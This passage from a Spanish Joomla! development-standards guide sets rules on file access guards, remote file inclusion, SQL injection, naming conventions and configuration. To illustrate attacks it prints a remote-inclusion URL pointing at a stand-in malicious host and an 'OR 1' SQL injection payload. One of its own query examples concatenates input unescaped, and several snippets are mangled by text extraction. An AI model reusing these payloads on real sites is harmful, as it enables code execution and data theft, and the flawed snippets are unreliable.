NORMA NORMA http://docs.joomla.org/framework 12.2.2 Acceso a las tablas El acceso a la tablas se realizará mediante el API de Joomla y sin utilizar el prefijo de la tabla; en su lugar se utilizará #. A continuación se muestra un ejemplo: Ejemplo de acceso a tablas $db = JFactory::getDBO(); $query = 'SELECT id FROM # contact_details WHERE catid = '.$vars['catid'].' AND alias = '.$db- >Quote($segment); $db->setquery($query); $nid = $db->loadresult(); 12.2.3 Desarrollo javascript con MooTools ACCESOTABLASINPREFIJO Todos los desarrollos javascript harán uso de la librería MooTools que va incluida en el core de Joomla! 12.2.4 Acceso directo a los ficheros PHP. Para que las extensiones que se desarrollen sean seguras es necesario no permitir el acceso directo a los archivos.php. Para ello se hará uso de la constante _JEXEC de Joomla!. _JEXEC es una constante definida por Joomla! al principio de cada fichero index.php (tanto en el directorio raíz del sitio como en el directorio de administración). Esta constante se encarga de que solo Joomla! pueda acceder al contenido de los archivos y ejecutarlos. JEXEC Para evitar el acceso directo a los archivos php, ha de existir como primera línea de código lo siguiente: defined ('_JEXEC') or die ( 'Restricted access' ); 12.2.5 Inclusión de archivos remotos. Se debe proteger el código desarrollado de la inclusión de archivos remotos. A continuación se muestra un ejemplo ilustrativo. Una extensión tiene una línea como ésta en su código: Página 28 de 37
NORMA Includes include ($mosconfig_absolute_path./components/com_yourcomponent/yourcomponent.class.php '); Por otro lado, si un usuario malicioso intenta tener acceso a este archivo, mediante la llamada a la siguiente URL: http://www.misitio.com/components/com_mycomponent/mycomponent.php?mosconfig_absolute_path = http://www.bad.site/bad.gif? Esta llamada devuelve el código ejecutable PHP bajo el nombre de archivo de esa imagen.gif. Ese código se ejecutará siempre que register_globals esté activada en el servidor Web (algo que ya se ha comentado que no debe ocurrir bajo ningún motivo). A este tipo de ataques se le conoce como inclusión de archivos remotos, y es un ataque fácil de realizar. Existen también algunas técnicas más avanzadas que permiten la inclusión de archivos remotos en algunas versiones de PHP, incluso desactivando la opción register_globals. La primera medida es impedir el acceso directo a los ficheros PHP, tal y como se ha comentado en el apartado anterior. En segundo lugar, se debe ser muy cuidadoso con todas las llamadas a funciones relacionadas con el sistema de archivos, muy en particular con el uso de las funciones de PHP include y require. Una buena práctica para incluir archivos es el uso de constantes: define ('YOURBASEPATH, dirname ( FILE )); include (YOURBASEPATH. '/ file_to_include.php'); De esta manera, al no utilizar en código rutas absolutas, no hay ninguna posibilidad para un usuario malicioso de encontrar la forma de abrir archivos desde servidores remotos. RUTARELATIVA Para evitar abrir ficheros desde servidores remotos se han de utilizar constantes para las llamadas a funciones relacionadas con el sistema de archivos, en particular las funciones de PHP include y require NO se deben utilizar las rutas absolutas. 12.2.6 Protección contra SQL Injection. Página 29 de 37
NORMA Una inyección SQL ocurre cuando se inserta o "inyecta" un código SQL invasor por parte de un usuario malicioso dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente. A continuación se ilustra con un ejemplo. Si se tiene el siguiente código fuente: $variable = $ _GET ['valor']; $database->setquery("select * FROM mitabla WHERE id = $variable"); Un atacante podría enviar una cadena como 1 OR 1, de forma que el resultado de la consulta sería: SELECT * FROM mitabla WHERE id = 1 or 1 Que devolvería todas las filas de mitabla. Para proteger un sistema de un ataque de este tipo, se deben validar todas las variables string antes de hacer uso de ellas en una consulta SQL con el método getescaped(). Este método permite cambiar los valores con especial significado para la base de datos. $text = "What's my circle?"; echo $database->getescaped( $text ); El resultado de la sentencia anterior después de aplicar getescaped() sería: What\'s my circle? Además, hay que forzar la conversión a su tipo de dato de todas las cadenas que se utilicen en consultas SQL y que provengan de una llamada bien de un formulario bien de un método, así como comprobar los valores sensibles para la base de datos haciendo uso de la función JRequest de Joomla!. $int = JRequest::getInt( $variable, $valor_defecto ); En la sentencia anterior $variable es la variable que se está comprobando y $valor_defecto el valor que se le asignará si la variable no está definida. SQLINJECTION Para proteger el código frente a ataques de SQL Injection: Hay que validar todas las variables string con el método getescaped() antes de usarlas en una consulta SQL. Hay que forzar la conversión a su tipo de datos de todas las cadenas que se usen en una consulta SQL y que provengan de una llamada, o bien de un formulario, o bien de un método. También hay que comprobar los valores sensibles para la base de datos haciendo uso de la función JRquest de Joomla!. Página 30 de 37
NORMA BUENA PRACTICA 12.2.7 Notación. Se ha de tener en cuenta que en los ficheros PHP no se va a utilizar ninguna etiqueta de cierre (?>), con el objetivo de evitar la aparición de espacios en blanco no deseados en el código de salida. Esta es la práctica estándar desde la versión 1.5 de Joomla! y debe utilizarse en todos los ficheros que contengan únicamente código PHP. EVITAR ESPACIOS EN BLANCO Para evitar la aparición de espacios en blanco no deseados en el código de salida de un fichero PHP, no se utilizará ninguna etiqueta de cierre (?>) en aquellos ficheros que contengan únicamente código PHP. 12.2.8 Constantes. Las constantes son elementos cuyo valor no varía durante la ejecución de una aplicación. Se recomienda que los nombres que se asignen a las variables sean descriptivos y concisos, así como no usar ni grandes frases ni pequeñas abreviaciones para las constantes. Siempre es mejor saber que hace una constante con sólo conocer su nombre. Este criterio se aplica también a los nombres de variables, funciones, argumentos de funciones y clases. A diferencia de las variables, las constantes deben ir siempre en mayúsculas, además se debe utilizar el signo "_" para separar palabras en caso de que el nombre contenga más de una palabra. define( 'JNOMBRE_DIR_PLANTILLAS','plantillas' ); NOMCONSTANTES El nombre asignado a una constante han de ser descriptivo y conciso. Además ésta debe ir siempre en mayúsculas y se utilizará el signo _ para separar palabras si es que el nombre contiene más de una palabra. Aunque no es muy común necesitar definir constantes para uso global (como las definidas en el fichero /includes/defines.php) cuando se desarrolla una nueva extensión, si se necesitara utilizar constantes en los desarrollos propios se recomienda declararlas dentro del archivo /includes/defines.php, a continuación de las existentes. Página 31 de 37
NORMA NORMA CONSTANTESGLOBALES Aunque no suele ser común, si se necesita definir una constante para uso global para el desarrollo de una extensión, se ha de declarar dentro del archivo /includes/defines.php a continuación de las existentes. Las nuevas constantes deberá estar comentadas con el siguiente formato: /** * * Descripción de utilidad de la constante * * @empresa: * @autor: * @fecha: * */ 12.2.9 Variables. Aunque a veces se utilice, se recomienda no adoptar la notación húngara en el código de los desarrollos propios. La notación húngara es aquella donde se coloca el tipo de datos antes del nombre de la variable: strnombre para un string. A la hora de nombrar las variables, se recomienda que los nombres sean descriptivos y concisos, así como no usar ni grandes frases ni pequeñas abreviaciones. Siempre es mejor saber que hace una variable con sólo conocer su nombre. Todos las letras deben estar en minúscula. En caso de usar más de una palabra para denominar la variable, al igual que en el caso de las constantes, estas deben ir separada por un signo "_". $contador = 0; NOMVARIABLES El nombre asignado a una variable ha de ser descriptivo y conciso y además debe venir en minúsculas. Si el nombre de la variable contiene más de una palabra se utilizará el signo _ para separarlas. No se deben utilizar variables sin inicializar. Si no se dispone del control sobre el valor de una variable, se debe verificar siempre que esté inicializada. En el lenguaje de programación PHP esto se puede comprobar mediante la función isset(). Como ya se ha comentado sólo se debe utilizar está opción cuando no se tenga control sobre una variable o no se esté seguro del valor que pueda tener esta (como en variables que llegan por parámetro, por GET, etc...) Página 32 de 37
NORMA A continuación se muestra un ejemplo: No recomendado: if ($contador == 2) Recomendado: if (isset($cliente) && $cliente == 2) INIVARIABLES No se deben usar variables sin inicializar, de tal modo que si no se dispone del control sobre el valor de una variable hay que utilizar la función isset() para tal fin. 12.2.10 Funciones. A la hora de definir una función se han de tener en cuenta los siguientes criterios: Es importante que el nombre de la función denote su propósito inmediatamente, de forma que se recomienda que el nombre de la misma sea descriptivo: No recomendado: function imprimir_nombre() Recomendado: function imprimir_nombre_usuario() De igual manera en los argumentos de las funciones se debe poder identificar rápidamente cual es su función. No recomendado: function imprimir_nombre_usuario($c,$a) Recomendado: function imprimir_nombre_usuario($edad,$email) Asimismo, se deben separar las palabras con un guión. No recomendado: function cambiarrango() Recomendado: function cambiar_rango() Página 33 de 37
NORMA NORMA NORMA NOMFUNCIONES El nombre asignado a una función ha de ser descriptivo y conciso y además debe venir en minúsculas. Si el nombre, además, contiene más de una palabra se utilizará el signo _ para separarlas. Lo mismo se aplicará para los nombres de los argumentos de una función 12.2.11 Clases. A la hora de definir las clases, se ha de tener en cuenta que estas deben ser ubicadas en un archivo.php propio para cada clase, donde sólo se colocará el código de la misma. El nombre del archivo será el mismo que el de la clase y siempre empezará en mayúscula. Para nombrar las clases se deben separar las palabras con una letra mayúscula en la primera letra de cada palabra que la nombra. Se debe definir siempre el alcance de los métodos y propiedades: public, protected o private. A la hora de dar nombre a una clase, se recomienda seguir lo establecido por el framework de Joomla!, que establece que el nombre de una clase se compone de concatenar el nombre del componente que llama a la clase, seguido de view y por último el nombre de la vista. NOMCLASES Las clases se ubicarán en un archivo propio que sólo contendrá el código de la misma. El nombre del archivo será el mismo que el de la clase y siempre empezará por mayúscula. Para nombrar las clases las distintas palabras que formen su nombre se escribirán con la primera letra en mayúsculas. ALCANCE Se han de definir siempre el alcance de los métodos y propiedades de una clase: public, protected o private. 12.3 CONFIGURACION En el caso de que un proyecto necesite incorporar configuración propia que vaya a depender del entorno se deben incluir variables de configuración dentro del fichero configuration.php. Si se necesita crear alguna variable propia en la configuración, deberá añadirse después de todas las variables existentes dentro de una sección llamada CONFIGURACION_XXXX, siendo XXXX el código POAPS del proyecto. Página 34 de 37
NORMA Ejemplo //CONFIGURACION_DEMO Var $variable1= dfadsf ; CONFIGURACION La configuración de un proyecto Joomla se ha de incluir en el fichero configuración.php. En el caso de disponer de variables propias estas se incluirán en una sección al final del fichero. La sección comenzará con el comentario siguiente: //CONFIGURACION_NOMBREPROYECTO. Atención Todas las variables propias de portal se han de incluir en la ficha de entrega en el apartado VARIABLES de configuracion.php para que paso a producción sepa como configurarlas. Página 35 de 37
A1.1 NORMAS NOM_... 7 NOM_URL... 8 ENTORNOEJECUCION... 9 KIT... 10 PLANTILLA_CM... 10 COTEJAMIENTOBD... 11 EXTENSIONES... 12 VERSIONADO... 13 LIMPIEZA... 14 PREFIJOTABLAS... 22 ACCESOTABLASINPREFIJO... 28 JEXEC... 28 RUTARELATIVA... 29 SQLINJECTION... 30 NOMCONSTANTES... 31 CONSTANTESGLOBALES... 32 NOMVARIABLES... 32 INIVARIABLES... 33 NOMFUNCIONES... 34 NOMCLASES... 34 ALCANCE... 34 CONFIGURACION... 35 Página 36 de 37
A1.1 BUENAS PRACTICAS OPTIMIZACIÓN SQL... 23 SQL DE 1 REGISTRO... 24 EVITAR CONSULTAS SELECT *... 24 DOCUMENTAR EL CÓDIGO FUENTE... 25 DOCUMENTACIÓN DE LAS CLASES... 25 DOCUMENTACIÓN DE MÉTODOS Y FUNCIONES... 26 CABECERA DE ARCHIVOS... 27 COMENTARIOS EN EL CÓDIGO... 27 USO DEL API DE... 27 EVITAR ESPACIOS EN BLANCO... 31 Página 37 de 37